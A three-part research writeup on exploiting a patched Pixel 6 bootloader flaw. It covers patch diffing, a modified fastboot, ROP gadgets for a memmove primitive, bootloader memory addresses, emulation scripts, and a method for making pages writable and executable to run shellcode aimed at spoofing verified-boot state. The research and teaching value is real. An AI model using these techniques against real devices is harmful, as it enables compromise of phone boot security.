Pixel 6 Bootloader Exploitation writeup

Pixel 6 Bootloader Exploitation writeup

📅 [ Archival Date ]
Nov 19, 2022 7:50 AM
🏷️ [ Tags ]
✍️ [ Author ]
Gagnerot Georges (Pulsar)

Part 1: Booting up


Back from my holidays, on the 25th of August, I started to catch up with all the news i missed during the previous weeks. I found some interesting news on twitter about a possible exploit on the pixel 6. The headline was interesting enough to raise my interest.


After a quick search, I found numerous other information that might be related to the issue on the pixel phone. Some seasoned researchers mentioned that the bug was really bad and that google HAD to fix it and force the anti-rollback.

My understanding was the following one:

The Pixel 6 has a bug in the bootloader that could make user at risk and that forced google to activate the anti-rollback to prevent any privacy issue.

Unfortunately, the fun was over pretty soon. The exploit is private, despite the messages on the Pixel Security Bulletin ... and google saying that they fuzzed the pixel 6 and went up to code execution on Titan-M was more than appealing.


That really picked my interest, if you are not aware what a RCE is, it stands for Remote Code Excecution. It's a bit like the ultimate kind of bug you can have on a software. Remote means, one can trigger the exploit without physically having the phone. Code execution implies, one can do anything on the platform. Imagine a RCE on WhatsApp: that means one can send you a message, and take control of your phone. That's how bad it is.

As time is the most precious value, and since I happened to be HOME ALONE, I decided to work a bit on this issue over the next days (and nights...).

My understanding was the following:

At least one bootloader of the pixel 6 has a major exploit leading to code execution that could be escalated up to TitanM. The flaw is major. Maybe I could have the following opportunities depending on the vulnerability:
  • Have Fun (I hardly do reverse engineering anymore but still enjoy it -- Thanks Fravia and the + team )
  • - Learn about patch analysis

    - Learn about aarch64 exploitation and ROP (Return-oriented programming)

  • Install my own provisioning on the phone to have a locked bootloader but with my own ROM
  • Forensic
  • ... (Let's stop there)

The next steps looks pretty easy (at first sight only...)


This blog post will focus on the first step, more will come later!

Just a little background before going deeper into the bootloader.

You can find information about the boot flow and TrustZone available directly from android website. Some analysis of bootloaders also provides interesting knowledge about boot process.

Here's an extract of the files present in the pixel 6 bootloader


If google followed arm software specifications we probably have

PBL -> BL1 -> BL2 -> BL31 with TZSW and ABL a bit later in the boot chain.

For reference

 * Function to perform late architectural and platform specific initialization.
 * It also queries the platform to load and run next BL image. Only called
 * by the primary cpu after a cold boot.
 * The only thing to do in BL2 is to load further images and pass control to
 * next BL. The memory occupied by BL2 will be reclaimed by BL3x stages. BL2
 * runs entirely in S-EL1.
 * BL31 is responsible for setting up the runtime services for the primary cpu
 * before passing control to the bootloader or an Operating System. This
 * function calls runtime_svc_init() which initializes all registered runtime
 * services. The run time services would setup enough context for the core to
 * switch to the next exception level. When this function returns, the core will
 * switch to the programmed exception level via an ERET.

Realistically speaking the bootloader is most likely in EL1 and we won't be able to directly touch TrustZone context, or the EL3 one, but who knows maybe we can find some exploits later that will lead to EOP...like CVE-2021-39653, CVE-2022-20174 CVE-2021-39814 CVE-2021-39684

Finding the vulnerability

I am no expert in vulnerability finding but it seems that usually you find new vulnerabilities from source code review, lucky BSOD (Blue screen of death) or fuzzing techniques. When the vulnerability is known and fixed, finding the patch and understanding what is fixed seems like the easiest way. Time beeing constrained, I followed the path of finding the patch and to figure out what was the fix. One of the tool of the trade for that job is called bindiff.

First step is to download the boot image from google website i chose the following ones


The first one beeing the initial revision, so most likely the most vulnerable, and I took the one from June, the one after the publication of the Pixel Bulletin. First let's extract the bootloaders using a great tool from Technologeeks.

Load into IDA as ARM64 binary IDA 8.0 helps really a lot with its new heuristic to automatically find functions! It worked really well there on this firmware.

Firmware binaries usually do not have any symbols or other metadata which would help IDA to find code in the unmarked loaded data, so users had to do it manually. In the new release, we've added a plugin which makes use of the pattern format used in Ghidra (with minor extensions). This plugin is enabled by default for binary and binary-like formats and helps IDA discover more code automatically. It can also be invoked manually for regular structured files to find otherwise unreferenced code.

If you don't have an IDA 8.0, making a script to try to create a function each next unexplored address will help you there!

And change the loading address to 0xFFFF0000F8800000.


Wait! How do I know about that loading address ? Different way to find that, the easiest being to reverse a bit the start of the boot code.


There are 2 ways to do reverse engineering for this firmware, the hard or the easy way. I will speak about the hard way on this blog, and let the astute reader find the easy one as an exercise. To start let's make the assumption that the exploit can be done by standard users, meaning that they would use standard fastboot commands! Let's find the command dispatcher then

Commands handlers on bootloader (12.0)

We will try first to try to find a command handler, let's try to look for a string we know is returned from fastboot. I will use the fastboot flashing lock or unlock command, but any other command you use typically with fastboot would yield to the same...

> fastboot flashing lock
FAILED (remote: 'invalid android images, skip locking')Finished. Total time: 0.150s

We look for the string in IDA and find this function that looks promising at 0xFFFF0000F8870578


Now let's have a look at this offset in the binary, is it present somewhere? Since the bootloader handles many commands, it could very well have some kind of table to dispatch them. So let's search for it (Alt + B, FFFF0000F8870578) and let's convert the data before and after to qwords


Then convert the data to offset (O or Ctrl-O shortcut). By the look of it, it seems that we have found something there!


We most likely found the commands table. Moving upward, we find a cross reference at 0xFFFF0000F88FB0E0 that is most likely used in our command dispatcher function. Before going further, we can create a struct by choosing 4 fields starting with the name of the function and using the "create struct from selection" by right clicking. We rename the fields to something better like


Then we can create an array with 13 entries and rename the corresponding functions to something more suitable


I never came across the usage of "upload" or "download" command before by using fastboot... It could be either hidden commands or low level commands. We will find later that it is the second one. Going back to our cross reference, we find that 0xFFFF0000F886FCB4 and its caller 0xFFFF0000F886FB88 are pretty interesting, we do some quick analysis with the help of strings and get to some nice looking dispatcher. Let's also create a new segment at 0xFFFF0000F89A9000 to prevent some bad memory access.


Ok we have a good starting point for bindiff analysis...now let's do the same steps we did for the bootloader 12.0 but with the version 13.0 this time. Afterwards, we can export the database with bindiff's exporter and load them into bindiff to try analyzing the different functions that we previously explored. The idea here now is to find vulnerabilities (hint: you may find more than one...).

Using bindiff is pretty straightforward


You can quickly see which basic blocks didn't change (green), the ones that changed (yellow) and the ones that does not exist anymore (red).


The reader is left with the task to diff commands used by bootloader 12 and compare with the same commands used in 13.0. You should find some differences, and even if you don't the next part should let you give you some hints about what to look after.

Setting up Exploitation

Guess what? I found some exploitable methods (you did find one at least right? Don't be fooled by function arguments for some others!) it's time to move to the exploitation part. The tool I use when i want to adress the bootloader is called fastboot and there's most likely things going under the hood there in order to send it's commands to the bootloader since we have seen that the bootloader parses commands that we don't usually play with. A quick look at the fastboot repository provides us with some details about it's internal


and we also get the usage for the low level commands we found in the bootloader binary:

  • getvar
  • download
  • upload
  • flash
  • erase
  • boot
  • continue
  • ...

We don't have direct access to those low lever primitives, the easiest way to get them will be to modify fastboot. How to get a coding environment up and running is a pretty easy task (you have some linux close right?).

> mkdir pixel6
> repo init -u https://android.googlesource.com/platform/manifest -b android-12.0.0_r32 #(you can change this one to your liking)> repo sync -c --optimized-fetch -j16 #(or more or less)> source build/envsetup.sh
> godir fastboot # system/core/fastboot> mma

Ok now we have our fastboot compiled and running in pixel6/out/host/linux-x86/bin/

I made a little patch to have more control over what fastboot send to the bootloader, nothing fancy there, just add two commands:

  • fastboot raw <filename>
  • fastboot rawdl <filename>

I may have missed some checks there, but you get the idea of the patch anyway! OK end of this part, we are all set for the next post about the exploitation itself! WAAAAIIIITTTTT !!!


You had a look at the folders there? Really, no no way???!!!! We just went through all those reverse engineering process to finally find that your text editor was enough to complete the first step!

Next post will be about emulating the bootloader, then about exploitation and getting read/write capabilities.

Thanks to my teammates for their feedbacks, Fernanda, @razaina and Yoan for the tuning!

Part 2: Emulation, ROP

Once you find an exploitable flaw, the next step is to look for how you could exploit it, in our context the use case is pretty easy, we return to a value stored on the stack with a controlled value. There’s no countermeasures present in the firmware, so the exploitation is pretty straightforward, using ROP programming. The goal will be at term to get read/write primitives, then shellcode execution.


First you launch ropper, with the good architecture and console flag:


And then you can start hunting gadgets in the binary, here's 2 notable things i did stumble upon:

Stack pivot

0x000000000000a988: ldp x29, x30, [sp], #0x10; ret;
0x000000000001593c: mov sp, x29; ldp x20, x19, [sp, #0x30]; ldp x22, x21, [sp, #0x20]; ldp x24, x23, [sp, #0x10]; ldp x29, x30, [sp], #0x40; ret;

Usually a stack pivot is pretty useful for ROP programming. It’s used when you lack space on the stack and have another part of memory you control. You take control of the stack pointer X29 and make it point to the memory you do control to have more space available for your ROP.


Credits goes to @bellis1000

Load x0,x1,x2 execute

# 0x000000000000c82c: ldp x20, x19, [sp, #0x30]; ldp x22, x21, [sp, #0x20]; ldp x24, x23, [sp, #0x10]; ldp x29, x30, [sp], #0x40; ret;
# 0x0000000000083b48: ldr x1, [x23, #0x10]; mov x0, x21; mov x2, x20; blr x22;

This widget will help us calls some functions with 3 or less arguments, the blr x22 can be hard to use sometimes but it will be enough for us to implement a memmove primitive

Read/Write primitives

Looking at the fastboot source, or IDA disassembly from our previous blog post, we can see that there are different methods that can be used to have a read primitive and write primitive.

Let’s start with the write primitive, we have a method called “download” that cannot be called directly by the stock fastboot binary, but thanks to the method we added in the previous blog post “rawdl” we can use it and send an arbitrary file to the bootloader.


Let’s have a quick look at the function, if the download_size (0xFFFF0000F8ACBD88) and the download_ptr (0xFFFF0000F8ACBD80) are empty, they are initialized to the virtual_address of 0x90700000 (0xffff000090700000) we will see later on how we can find this virtual address easily. We know that we can upload any data that we want to this buffer 0xffff000090700000 by using our fastboot rawdl <filename>! Nice we have a buffer we control in memory!

Let’s follow with the read primitive, we have for instance the method the method “upload” that can be used like this

> fastboot get_staged <filename>

If we look at the disassembly it’s pretty simple


If we have a valid ptr in 0xFFFF0000F8ACBD68 and size in 0xFFFF0000F8ACBD70, the method will upload the resulting memory. Great, now we just have to modify those 2 variables...

Ok, so if we were to have a write primitive we could download whatever memory part we want thanks to the “get_staged” command, and at the same time write any data we want by first uploading our data to 0xffff000090700000 thanks to “fastboot rawdl” then using memmove on that data.


I did not had time to make my own SuzyQ cable for this project (assuming it works on pixel 6) so I had to find another way to get information to debug the exploits (it’s hard to make everything work directly on the first try right? )

The first guess was to work with the information provided by “fastboot oem dmesg”. When you don’t totally mess up the kernel thread, but still a bit (think invalid data access, or no execute page permission) fastboot is nice enough to reboot and give you some backtrace (hint: that is the easy way i spoke about in the first part)

Let’s say that I try naively to execute some code in our download buffer

(bootloader) instruction abort: PC at 0xffff000090700100
(bootloader) ESR 0x8600000d: ec 0x21, il 0x2000000, iss 0xd
(bootloader) iframe 0xffff0000f8e5d640:
(bootloader)  x0 0xffff0000f8acbc88   x1 0xffff0000f8900002   x2 0xffff00
(bootloader) 0090700100   x3 0x0000000000000001
(bootloader)  x4 0x0000000000000000   x5 0xffff0000f8b1c438   x6 0x000000
(bootloader) 0000000000   x7 0x0000000000000000
(bootloader)  x8 0x0000000000000002   x9 0x0000000000000000  x10 0x000000
(bootloader) 0099999999  x11 0x0000000000000027
(bootloader) x12 0x0000000000000000  x13 0xffff0000f8ddd3c8  x14 0xffff00
(bootloader) 00f8ac7720  x15 0xffff0000f8b9c370
(bootloader) x16 0x0000000000010000  x17 0x00000000ffffffff  x18 0x000000
(bootloader) 0000000000  x19 0xffff0000f8acbc88
(bootloader) x20 0xffff000090700100  x21 0xffff0000f8acbc88  x22 0xffff00
(bootloader) 00f8854e04  x23 0xffff000090700000
(bootloader) x24 0xffff0000f8802c68  x25 0x0000000000000000  x26 0x000000
(bootloader) 0000000000  x27 0x0000000000000000
(bootloader) x28 0x0000000000000000  x29 0x0000000000000000   lr 0xffff00
(bootloader) 0090700100  usp 0x0000000000000000
(bootloader) elr 0xffff000090700100
(bootloader) spsr 0x0000000000000305
(bootloader) backtrace:
(bootloader) [<ffff000090700100>] unknown+0x0/0x0
(bootloader) [<ffff000090700100>] unknown+0x0/0x0
(bootloader) panic (caller 0xffff0000f880125c): die
(bootloader) [  14.728729] [I] [GS] halt action=0, reason=10
(bootloader) [  14.728735] [C] [GS] Rebooting in 5 seconds, press 'c' to
(bootloader) cancel: 0

Ok so I can get some information like, are my registers correct, to help me build my ROP. But still it’s pretty hard and tiresome, and having to always keep the button on the “vol down” button to stay in the bootloader (or use a rubber band) is not fun! Do any weird side effects happen while the code is running? Even with the OS helping you by giving some insight about what happened on last exception


How can we do better? Well let’s work with unicorn and it’s friends keystone and capstone. You feel that the website looks like they have been copy/pasted? Nah must be your imagination.

Unicorn will help us work with emulation, it’s quicker than writing directly a new board on QEMU and putting hooks in it (can take some time to become proficient there!), keystone will help us quickly assemble code, and capstone will take care of the disassembly (the other way).

What we want is to be able to emulate a function quickly and instrument it to see what it's doing. I will give you a few tips I use when playing with unicorn.

The typical workflow looks like this


Pretty straightforward from the unicorn documentation. As a side note, I prefer to work with the unicorn version available in angr, they have different standard behavior, and having directly a version I will be able to play in angr if I want to is nice.


generate binary shellcode from assembly instructions

def gen_shellcode(data,address):
    ks = keystone.Ks(keystone.KS_ARCH_ARM64,keystone.KS_MODE_LITTLE_ENDIAN)
    return bytes(ret[0])


Quick disassembler

disassembler = capstone.Cs(capstone.CS_ARCH_ARM64,capstone.CS_MODE_ARM)
def disassemble(code, addr):
    for insn in disassembler.disasm(code, addr):
        print("0x%x:\t%s\t%s" % (insn.address, insn.mnemonic, insn.op_str))


This hook allows you to automatically map memory when you have invalid memory during early access, you can then copy/paste the mu.mem_map to make the mapping yourself

#Auto allocate pages of memory of size 10Mega on invalid memory access
def hook_mem_invalid_auto(uc,uc_mem_type,addr,size,value,user_data):
    pc = uc.reg_read(UC_ARM64_REG_PC)
    start = addr & ~(PAGE_SIZE-1)
    print(f"~~~~~~~~~~~~~~                      mu.mem_map(0x{start:08x}, PAGE_SIZE)")
    return True

With that in mind, we can setup a script (or notebook) to run the main fastboot code from the bootloader.

Nothing really fancy there, we setup SIMD thanks to a small shellcode and verify that everything works, then add some hooks to be able to play with the binary and launch commands as if we sent them through USB. You can change directly the “commands” array to put your own commands. I added a command named “outofloop” to quickly exit the loop without going too much into the internals of the bootloader. You can just drop the binary extracted from the previous post abl_210817 and play with it.


We can see that flashing unlocks make the device returns “device already unlocked”. That’s what happened on the real device if you try to execute fastboot flashing unlock, so from this point we have the basic of emulation working.

Thanks to that, we can debug and prepare our exploit much easily!


Some pointers here for the ROP chain I used to get a memmove primitive


The 0x0000000000083b48 should not be necessary ideally, but on our stack the value for x21 is overwritten and then cannot be used reliably...

From this memmove, you can create some download / upload primitives and read and write memory on the bootloader (we’ll speak about page access in the next post!)


With a memmove primitive we can replace as seen in the previous gif the serial for instance if we change the value at a good offset in two steps: first upload data to the buffer we control, then memmove from it to our wanted destination. Feel free to try other offsets, if you try to access a Read Only zone, your device will reboot most likely, or become bricked in case you hit some unlucky (very) spot!


Let’s see later for code exploitation or symbolic execution.

Greetings to my teammates from eShard for their help and review.

Part 3: Exploitation

On our previous blog post, we had access to read and write primitives. Great! The next step is now to be able to directly execute our own code without using ROP programming. And for this purpose we need to either find some W|X memory maps, or to create some.

We will go still a bit deeper in this third blog post, I did not intend to make a too long blog post with a detailed path, but more to provide enough information to dig deeper into the exploit. A lot of the source code is freely available, like for Little KernelAVBTrustyfastboot, ... and it’s really just setting up your editor and digging through the source code.

Looking for W/X memory region

Through various means you can find that abl contains part of little kernel lk. Having a look at lk source code, we can find information about memory layout. I started digging with arch_mmu_query that returns flags based on a virtual address and some arch_aspace_t struct.

status_t arch_mmu_query(arch_aspace_t *aspace, vaddr_t vaddr, paddr_t *paddr, uint *flags)

Let’s have a look at the arch_aspace_t struct, it’s defined the following way

struct arch_aspace {
    /* pointer to the translation table */
    paddr_t tt_phys;
    pte_t *tt_virt;

    uint flags;

    /* range of address space */
    vaddr_t base;
    size_t size;

and following the white rabbit, we get to the definition of the kernel_aspace and the vmm_aspace struct

typedef struct vmm_aspace {
    struct list_node node;
    char name[32];

    uint flags;

    vaddr_t base;
    size_t  size;

    struct bst_root regions;

    arch_aspace_t arch_aspace;
} vmm_aspace_t;

A virtual memory aspace has a name like “kernel” and contains different regions, the representation and architecture specific informations for that memory is contained in the arch_aspace struct, and in aarch64 we have for instance the page table base that will be put into the TTBR registers registers. Since we have a read primitive now, we can just dump the memories containing the kernel vmm_aspace and all of the following tables.

Translation table for AARCH64 is what make the translation from Virtual memory (like 0xFFFFXXXXXXX) to physical one (0xYYYYYYY)


The arch_mmu_query from LK makes the walk from the initial entry to the page table descriptor like the CPU would do. If you are not familiar with the Virtual Memory System of the AARCH64 architecture, a good reading could be this one

This is what happens more or less during the


The last value of pte will be the descriptor of the virtual memory we are looking at, and from here, we can check what kind of right the page has (is it readable, writable, executable?)

We have different paths in order to walk through the page table, we could make a little python script to emulate the reads and quickly implement a physical_to_virtual address. Or we could just do as we did previously and make a small unicorn script that will execute the arch_mmu_query method, and give us the offset where the pte stands at. That’s not the quicker one obviously but it will be pretty easy to follow and without too much code involved.

def get_pte_internal(vaddr):
    arch_mmu_query = 0xFFFF0000F880F5A0
    mu = mu_loader()
    if not mu:

    mu.reg_write(UC_ARM64_REG_X30, INVALID_ADDR)
    mu.reg_write(UC_ARM64_REG_X0, kernel_aspace)
    mu.reg_write(UC_ARM64_REG_X1, vaddr)
    mu.reg_write(UC_ARM64_REG_X2, download_buffer)
    mu.reg_write(UC_ARM64_REG_X3, download_buffer + 8)

    access = []
    mu.hook_add(UC_HOOK_MEM_READ, hook_mem_read, user_data=access)
    mu.emu_start(arch_mmu_query, INVALID_ADDR, count=2000)
    x0 = mu.reg_read(UC_ARM64_REG_X0)
    if x0 == 0xFFFFFFFE:
        return 0, 0, 0, b"\x00" * 8

    # return last access of pte
    return list(filter(lambda k: k[0] == 0xFFFF0000F880F690, access))[-1]

def get_pte(vaddr):
    pc, addr, size, value = get_pte_internal(vaddr)
    pte = struct.unpack("Q", value)[0]
        f"addr:{addr:x} pte:{pte:x} access:{get_pte_access(pte)} exec:{get_pte_exec(pte)}"

Before running the script you will need to dump some memory, if you had a working read/write primitive from the previous blogs, all you will have to do is to retrieve some memory with something like

> download_memory 0xFFFF0000F8990000 0x2000000 memory_0xFFFF0000F8990000

Then we can run the emulation script to get memory information

Base Android Bootloader Address

> python get_pte.py 0xFFFF0000F8800000
addr:ffff0000f8ae5000 pte:400000f880078b access:2 exec:True

The bootloader itself is ReadOnly (access==2) and memory is executable

Download Buffer

python get_pte.py 0xFFFF0000F8ACBD68
addr:ffff0000f8ae4e28 pte:600000f8a00709 access:0 exec:False

The download buffer is RW (access== 0) and the memory is not executable hence we cannot execute any shellcode there!

Some Random Memory (or not so random)

> python get_pte.py 0xFFFF000880000000
addr:ffff0000f8ae3110 pte:880000709 access:0 exec:True

This memory is both executable AND Read/Write, we can execute a shellcode there!


We found a good memory region now! (more on how we could build ourselves a W|X page) later on!

make shellcode by hand (with keystone) Let’s try to see if we have a working setup now, to test that i did convert the following shellcode to binary thanks to keystone than executed it

"NOP;NOP;NOP;NOP;NOP;MOV x8, #0x1234;BR X8"

The following exception is raised by the bootloader

(bootloader) instruction abort: PC at 0x1234
(bootloader) ESR 0x86000004: ec 0x21, il 0x2000000, iss 0x4
(bootloader) iframe 0xffff0000f8d7c740:
(bootloader)  x0 0x0000000000000000   x1 0x0000000000000000   x2 0x000000
(bootloader) 0000000000   x3 0x0000000000000001
(bootloader)  x4 0x0000000000000000   x5 0xffff0000f8b1c438   x6 0x000000
(bootloader) 0000000000   x7 0x0000000000000000
(bootloader)  x8 0x0000000000001234   x9 0x0000000000000000  x10 0x000000
(bootloader) 0099999999  x11 0x0000000000000027
(bootloader) x12 0x0000000000000000  x13 0xffff0000f8cfc458  x14 0xffff00
(bootloader) 00f8ac7720  x15 0xffff0000f8b9c370
(bootloader) x16 0x0000000000010000  x17 0x00000000ffffffff  x18 0x000000
(bootloader) 0000000000  x19 0x0000000000000000
(bootloader) x20 0x0000000000000000  x21 0x0000000000000002  x22 0xffff00
(bootloader) 00f8854e04  x23 0xffff000090700000
(bootloader) x24 0xffff0000f8802c68  x25 0x0000000000000000  x26 0x000000
(bootloader) 0000000000  x27 0x0000000000000000
(bootloader) x28 0x0000000000000000  x29 0x0000000000000000   lr 0xffff00
(bootloader) 0880000000  usp 0x0000000000000000
(bootloader) elr 0x0000000000001234
(bootloader) spsr 0x0000000000000305
(bootloader) backtrace:
(bootloader) [<0000000000001234>] unknown+0x0/0x0
(bootloader) [<ffff000880000000>] unknown+0x0/0x0
(bootloader) panic (caller 0xffff0000f880125c): die
(bootloader) [  11.041318] [I] [GS] halt action=0, reason=10
(bootloader) [  11.041324] [C] [GS] Rebooting in 5 seconds, press 'c' to
(bootloader) cancel: 0

We see that it crashed at 0x1234, meaning that all of our instructions were correctly executed, it’s time to build an interesting shellcode...or is it really? To be honest I would much rather build some shellcode with a standard compiler rather than reinvent the wheel...and luckily for us it’s pretty easy to do so!

Make shellcode with C (simple program)

Ideally what we would like would be the following:

int shellcode() {
	printf(“#### HELLO THERE ####”);
	int res = fastboot_run(&fastboot_stop,fastboot_activity_cb);
	return 0;

So let’s try to have it working, it’s not that hard. First we need an aarch64 toolchain, for the purpose of this post, I will use a linaro one

Then we need a Makefile to build a binary and a linker script, thanks enough the web has lots of such project available, i had in mind a great article from Guillaume Delugré (great read BTW if you don’t know it), to bootstrap the scripts. With a bit of customization, then everything is in place.


        text PT_LOAD FLAGS(7);
        bss PT_LOAD FLAGS(7);

        .text :
                } : text

        INCLUDE "functions.ld"
        INCLUDE "symbols.ld"

        /DISCARD/ : { *(.pdr) *(.gnu.attributes) *(.reginfo) ; *(.note) ; *(.comment) *(__ex_table) *(interp); }

The purpose of this script is to put everything the compiler will generate in the text section, and to include offsets and memory locations from different files. The format of the offsets locations is the following one

PROVIDE(memchr = 0xffff0000f8875e2c);
PROVIDE(memcmp = 0xffff0000f8875e50);
PROVIDE(memcpy = 0xffff0000f8875e88);
PROVIDE(memmove = 0xffff0000f8876044);
PROVIDE(memset = 0xffff0000f88762a4);
PROVIDE(strchr = 0xffff0000f88763a8);
PROVIDE(strcmp = 0xffff0000f88763d4);
PROVIDE(strcpy = 0xffff0000f88763fc);
PROVIDE(strdup = 0xffff0000f8876414);
PROVIDE(strndup = 0xffff0000f8876464);
PROVIDE(strerror = 0xffff0000f88764bc);
PROVIDE(stricmp = 0xffff0000f88764d8);
PROVIDE(strlcat = 0xffff0000f8876550);
PROVIDE(strlcpy = 0xffff0000f88765e0);
PROVIDE(strlen = 0xffff0000f887663c);
PROVIDE(strncpy = 0xffff0000f8876654);
PROVIDE(strncmp = 0xffff0000f88766c4);
PROVIDE(strnlen = 0xffff0000f8876700);
PROVIDE(printf = 0xFFFF0000F8874538);

Now we can just write a shellcode and execute it!


Changing page table permissions

In this part we will try to change the page table we previously used in order to find a W|X memory to get write and execute access rights to some part of our code, we will copy/paste some code from lk and change it to quickly get a pointer to the page table. I called this method get_pte in the repository. Then the only thing we have to do is to update the access rights

Something like that will do the job (just get the pte, then clear the access rights (0 = RW) and use some fancy Synchronization Barrier


We can now replace a string in a RO sections, we leave to the reader how to call a function that would allow a page to be writable, keep in mind that for execution you will have to clear the instruction cache. LK already provides such a method obviously, it’s just a matter of finding it in the code :)

//Try to write value to a  R/O memory

char * str = "eshard";
printf("R/O str [%s]\n",external_lib_avb_str);

With that in hand, you have everything needed to start to work on exploitation, like google said. They even are nice enough to give us hints on what to do “The exploit can spoof AVB measurements (i.e. boot hash, OS patch level, unlock status)”.